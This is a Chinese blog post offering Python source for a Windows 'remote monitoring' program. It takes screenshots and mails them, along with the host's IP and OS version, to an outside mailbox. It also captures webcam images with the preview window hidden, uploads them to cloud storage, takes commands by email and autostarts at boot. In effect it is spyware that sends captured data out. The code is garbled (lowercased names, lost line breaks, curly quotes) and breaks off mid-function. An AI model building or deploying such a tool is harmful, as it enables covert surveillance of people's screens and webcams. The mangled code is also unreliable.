python操作摄像头截图实现远程监控的例子

最近用python写了一个远程监控的程序,主要功能有:1.用邮件控制所以功能2.可以对屏幕截图,屏幕截图发送到邮箱3.可以用摄像头获取图片,这些图片上传到七牛4.开机自启动

代码如下:

##coding by loster#import win32apiimport win32conimport platformimport socketimport timeimport osimport smtplibimport poplibfrom videocapture import devicefrom email.mime.multipart import mimemultipart from email.mime.text import mimetext from email.mime.image import mimeimageimport poplib,emailfrom email.header import decode_headerfrom pil import imagegrabimport qiniu.confimport qiniu.ioimport qiniu.rs#去七牛申请qiniu.conf.access_key = “”qiniu.conf.secret_key = “”

#获取ipdef getip(): ip=socket.gethostbyname(socket.gethostname()) return ip

#获取操作系统版本、def getsystemversion(): return platform.platform()

def send_information(ip,system_version): info=’ip:’+ip+’ ‘+’system version:’+system_version print info smtp=smtplib.smtp() smtp.connect(‘smtp.sina.com’) smtp.login(‘sender@sina.com’,’***’) #改成自己的邮箱和密码 smtp.sendmail(‘sender@sina.com’,’reveicer@qq.com’,ip+’ ‘+system_version)#把接收邮箱改成自己另外一个邮箱#截图,图片名为截图时间def screen_capture(): #获取截图时间 pic_time=time.strftime(‘%y%m%d%h%m%s’,time.localtime(time.time())) #pic_name=’screen_capture’+time.strftime(‘%y%m%d%h%m%s’,time.localtime(time.time())) pic_name=’screen’+pic_time+’.jpg’ pic = imagegrab.grab() pic.save(‘%s’ % pic_name) print pic_name #发送图片 send_img(pic_time,pic_name) print pic_name os.remove(pic_name)#删除图片

#发送截图图片到邮箱def send_img(pic_time,pic_name): msgroot = mimemultipart(‘related’) msgroot[‘subject’] = pic_time msgtext = mimetext(‘capture ‘,’html’,’utf-8′) msgroot.attach(msgtext) #fp = open(‘f:\\1.jpg’, ‘rb’) fp = open(pic_name, ‘rb’) msgimage = mimeimage(fp.read()) fp.close() msgimage.add_header(‘content-id’, ”) msgroot.attach(msgimage) smtp = smtplib.smtp() smtp.connect(‘smtp.sina.com’,’25’) smtp.login(“sender@sina.com”,”*****”) smtp.sendmail(“sender@sina.com”,”receiver@qq.com”, msgroot.as_string()) smtp.quit() print ‘send success’

#摄像头截图,每隔sleep_time秒截取一张def camera_capture(): #抓取频率 sleep_time=3 i=0 cam=device(devnum=0, showvideowindow=0) while i

Posted in 未分类

发表评论